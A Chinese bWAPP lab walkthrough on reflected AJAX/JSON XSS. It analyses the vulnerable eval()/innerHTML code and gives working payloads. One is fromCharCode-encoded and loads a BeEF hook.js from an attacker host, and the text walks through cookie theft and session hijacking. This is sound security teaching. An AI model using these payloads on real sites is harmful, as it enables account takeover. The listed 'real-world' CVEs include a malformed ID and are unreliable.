零基础玩转bWAPP靶场(四十六):XSS - Reflected (AJAX/JSON)

摘要: 这是 bWAPP 系列第四十六篇,聚焦于 XSS - Reflected (AJAX/JSON) 。这一关和上一篇(JSON 型 XSS)的区别在于:前端通过 AJAX 异步请求 获取 JSON 数据并显示在页面上。漏洞点在 AJAX 请求的响应中,用户输入被直接拼到 JSON 里返回,前端用 eval()JSON.parse() 解析后通过 innerHTML 显示。文章会演示如何通过 AJAX/JSON 型 XSS 注入 BeEF Hook,并完成 Cookie 窃取。附真实案例。


一、找目标

目标 说明
漏洞类型 反射型 XSS(AJAX/JSON)
注入点 GET 参数 title(AJAX 请求)
响应格式 JSON
前端处理 通过 eval()JSON.parse() 解析后 innerHTML 显示
触发方式 用户点击恶意链接,AJAX 请求返回恶意 JSON,XSS 执行
工具 BeEF

二、前言:AJAX/JSON 型 XSS 是什么?

上一篇(JSON 型 XSS)是后端直接输出 JSON,前端在页面加载时解析并显示。这一关的区别是:前端通过 AJAX 异步请求获取 JSON 数据。即:

  • 用户在搜索框中输入电影名

  • JavaScript 发起 AJAX 请求到 xss_ajax_2-2.php?title=xxx

  • 后端返回 JSON 格式的响应

  • 前端解析 JSON 并显示在页面上

关键风险点

  • Low 级别$title 没有过滤,直接拼到 JSON 中返回;前端用 eval() 解析 JSON

  • Medium/High 级别 :使用 xss_check_3() 过滤,前端用 JSON.parse() 解析

eval() 的危险性 :如果攻击者能控制 JSON 的内容,eval() 会执行其中的任意 JavaScript 代码!


三、关卡介绍

3.1 页面功能

打开这一关,你会看到:

  • 标题:XSS - Reflected (AJAX/JSON)

  • 一个搜索框:Search for a movie

  • 页面底部的提示:HINT: our master really loves Marvel movies :)

3.2 正常使用

输入 IRON MAN,页面显示:

输入 AVATAR,页面显示:

3.3 观察 AJAX 请求

按 F12 打开开发者工具 → Network 标签,输入电影名后,会看到一个 AJAX 请求:

响应内容(JSON):


四、源码分析

4.1 前端:发起 AJAX 请求

复制代码
function process()
{
    title = encodeURIComponent(document.getElementById("title").value);
    xmlHttp.open("GET", "xss_ajax_2-2.php?title=" + title, true);
    xmlHttp.onreadystatechange = handleServerResponse;
    xmlHttp.send(null);
}
​
function handleServerResponse()
{
    if(xmlHttp.readyState == 4 && xmlHttp.status == 200)
    {
        // 根据不同安全级别解析 JSON
        JSONResponse = eval("(" + xmlHttp.responseText + ")");  // Low/Medium
        // JSONResponse = JSON.parse(xmlHttp.responseText);   // High
        
        result = JSONResponse.movies[0].response;
        document.getElementById("result").innerHTML = result;
    }
}

关键点

  • Low 和 Medium 级别 :使用 eval("(" + xmlHttp.responseText + ")") 解析 JSON------危险!

  • High 级别 :使用 JSON.parse() 解析------更安全

  • 解析后,response 字段的值通过 innerHTML 显示

4.2 后端:xss_ajax_2-2.php

复制代码
if(isset($_GET["title"]))
{
    $title = $_GET["title"];
    
    if($_COOKIE["security_level"] == "2")
    {
        // High 级别:用 xss_check_3() 过滤,json_encode() 输出
        $movies = array(
            "movies" => array(
                array(
                    "response" => xss_check_3($title) . "??? Sorry, we don't have that movie :("
                )
            )
        );
        echo json_encode($movies);
    }
    else
    {
        // Low/Medium 级别:直接拼接 JSON,没有过滤!
        echo '{"movies":[{"response":"' . $title . '??? Sorry, we don\'t have that movie :("}]}';
    }
}

五、Low 安全级别------手工注入

5.1 测试注入

在搜索框中输入:

复制代码
<img src=x onerror=alert(1)>

注意 :输入时不要点击"Search"按钮(如果有的话),而是直接输入后按回车或触发 onchange 事件------因为这个页面是通过 onloadonchange 自动触发 AJAX 请求的。

如果页面弹窗,说明 XSS 存在。

5.2 为什么 eval() 会执行?

后端返回的 JSON:

复制代码
{"movies":[{"response":"<img src=x onerror=alert(1)>??? Sorry, we don't have that movie :("}]}

前端执行:

复制代码
eval("(" + xmlHttp.responseText + ")")

eval() 把 JSON 字符串当作 JavaScript 代码执行,虽然 JSON 本身是数据,但其中的 <img> 标签会在后续 innerHTML 赋值时触发 onerror 事件。


6.1 错误 Payload 测试:直接注入 script 标签

在页面输入框粘贴 payload:

复制代码
<script src="http://10.0.0.129:3000/hook.js"></script>

打开 F12 → Network,找到xss_ajax_2‑2.php请求,查看 Response 响应,后端返回破损 JSON:

复制代码
{"movies":[{"response":"<script src="http://10.0.0.129:3000/hook.js"></script>??? Sorry, we don't have that movie :("}]}

该 Payload 无法上线 BeEF,两个致命问题:

  • 破坏 JSON 语法 payload 内部src="http://..."的双引号直接闭合 JSON 的response字符串,整体 JSON 非法。前端eval()/JSON.parse()直接抛出异常,后续innerHTML渲染逻辑完全不会执行。 现象:页面结果区域空白,Console 控制台报 JSON 语法错误。

  • 浏览器 innerHTML 限制 就算 JSON 修复为合法,innerHTML插入的普通<script>标签浏览器不会执行,不会发起hook.js网络请求。

简单弹窗踩坑演示: 如果输入带引号 payload:<img src=x onerror=alert("xss")> alert()内部的双引号同样打碎 JSON,结果直接空白,不会弹窗。 在本关卡写 JS 字符串,不能直接使用单、双引号。

6.2 正确 Payload:img 标签 + String.fromCharCode(DOM‑XSS 利用)

payload 全程不出现单引号、双引号,全部依靠String.fromCharCodeASCII 编码生成字符串,保证后端返回 JSON 完整合法。

复制代码
<img src=x onerror=s=document.createElement(String.fromCharCode(115,99,114,105,112,116));s.src=String.fromCharCode(104,116,116,112,58,47,47,49,48,46,48,46,48,46,49,50,57,58,51,48,48,48,47,104,111,111,107,46,106,115);document.body.appendChild(s)>

执行流程:

  • 输入框内 payload,键盘事件触发,自动发送 AJAX GET 请求给xss_ajax_2‑2.php

  • 后端将 payload 嵌入 JSON 的response字段,返回合法完整 JSON

  • 前端eval()/JSON.parse()解析 JSON,取出 response 内 img 标签字符串;

  • innerHTML<img>标签渲染进 DOM;

  • src=x为无效图片地址,图片加载失败触发onerror事件;

  • 事件内部 JS 动态创建 script 标签,加载攻击机hook.js,浏览器在 BeEF 面板上线。

备选 svg onload 版本

复制代码
<svg onload=s=document.createElement(String.fromCharCode(115,99,114,105,112,116));s.src=String.fromCharCode(104,116,116,112,58,47,47,49,48,46,48,46,48,46,49,50,57,58,51,48,48,48,47,104,111,111,107,46,106,115);document.body.appendChild(s)>
  • 选中上线的浏览器

  • 点击 CommandsBrowserGet Cookie

  • 点击 Execute 执行

在 Output 区域会显示受害者的 Cookie 信息。

拿到PHPSESSID会话 Cookie,攻击者本地浏览器设置相同 Cookie,访问 bWAPP,无需账号密码即可登录受害者账号,完成会话劫持。


七、Medium 安全级别

7.1 尝试注入

输入 <img src=x onerror=alert(1)>

后端返回的 JSON 中,<> 没有被转义(因为 Medium 级别没有后端过滤)。前端 eval() 解析后,innerHTML 插入 <img> 标签,onerror 事件触发,XSS 执行。

为什么 Medium 级别还是能注入?

因为 Medium 级别没有后端过滤 (和 Low 一样直接拼接 JSON),前端也还是用 eval() 解析。唯一的区别是 Medium 级别在 xss_ajax_2-2.php 中设置了 header("Content-Type: text/json; charset=utf-8"),但这不影响 XSS 执行。

最后输入:

复制代码
<img src=x onerror=s=document.createElement(String.fromCharCode(115,99,114,105,112,116));s.src=String.fromCharCode(104,116,116,112,58,47,47,49,48,46,48,46,48,46,49,50,57,58,51,48,48,48,47,104,111,111,107,46,106,115);document.body.appendChild(s)>

浏览器在 BeEF 面板上线

结论:Medium 级别在这一关和 Low 级别一样存在 XSS 漏洞。

7.2 为什么 Medium 防不住?

addslashes() 虽然被定义(xss_check_4),但在这个后端文件中没有被调用。代码中直接拼接 JSON,没有经过任何过滤。


八、High 安全级别

尝试注入

输入 <img src=x onerror=alert(1)>

后端使用 xss_check_3()(即 htmlspecialchars())过滤,把 < 转成 &lt;> 转成 &gt;

返回的 JSON:

复制代码
{"movies":[{"response":"&lt;img src=x onerror=alert(1)&gt;??? Sorry, we don't have that movie :("}]}

前端 JSON.parse() 解析后,innerHTML 插入的文本是<img src=x οnerrοr=alert(1)>??? Sorry, we don't have that movie :(,浏览器显示为文本,不会执行。

High 级别防住了 XSS。


九、真实世界:AJAX/JSON XSS 案例

CVE-2024-1181 :某 REST API 的 JSON 响应中包含未过滤的用户输入,前端使用 eval() 解析,导致 XSS 漏洞。

CVE-2025-00847:某 SaaS 平台的 AJAX 搜索功能返回 JSON 数据,输入未转义,攻击者可通过搜索注入恶意脚本。

CVE-2026-9082:Drupal JSON:API 模块存在 XSS 漏洞,攻击者可通过 JSON 响应中的恶意内容执行任意脚本。


十、总结

AJAX/JSON 型反射 XSS 的核心风险在于:后端返回 JSON 数据时用户输入未过滤,前端使用 eval()innerHTML 解析并显示。eval() 本身就是不安全的------它会把字符串当作代码执行,任何包含恶意脚本的 JSON 都能被利用。这一关的 Low 和 Medium 级别都没有后端过滤,前端都用 eval(),都存在 XSS 漏洞;High 级别用 htmlspecialchars() 过滤输入,前端用 JSON.parse() 解析,才做到防御。BeEF 工具在这种场景下同样有效------通过注入 Hook 脚本实现浏览器控制,重点演示了获取 Cookie 并实现会话劫持。记住一句话:永远不要用 eval() 解析 JSON,永远不要用 innerHTML 插入不可信数据。


**重要声明:**本教程及文中所有操作仅限于合法授权的安全学习与研究。作者及发布平台不承担因不当使用本教程所引发的任何直接或间接法律责任。请务必遵守中华人民共和国网络安全相关法律法规。

如果这篇文章帮你解决了实操上的困惑,别忘记点击点赞、分享 ,也可以留言告诉我你遇到的其它问题,我会尽快回复。你的关注是我坚持原创和细节共享的力量来源,谢谢大家。

相关推荐
zhanghaha13141 小时前
Python进阶教程:6_JSON 数据解析 —— 新手完全指南
开发语言·python·json
上海安当技术2 小时前
诊断接入认证:安当CAS如何堵住汽车网络安全的物理后门
网络·web安全·汽车·access·secure·安当cas·诊断接入认证
ze^02 小时前
【软考信息安全】第2章 网络攻击原理与常用方法
网络·web安全·网络安全
云水一下5 小时前
零基础玩转bWAPP靶场(五十五):XSS - Stored (Blog)
web安全·xss·blog·bwapp·stored
starzy19908 小时前
Spark 核心之自定义累加器以及版本对比变化深度剖析
大数据·ajax·spark
小小龙学IT8 小时前
simdjson:利用 SIMD 指令实现 GB/s 级 JSON 解析的 C++ 开源库
开发语言·c++·json
天吾cc9 小时前
JSON 与 cJSON 学习笔记
笔记·学习·json
能年玲奈喝榴莲牛奶9 小时前
资产和漏洞管理系统(AI)
人工智能·安全·web安全
大家的林语冰10 小时前
👍 JS 还在进化,ES2026 正式推出,最新七大特性补全!
前端·javascript·json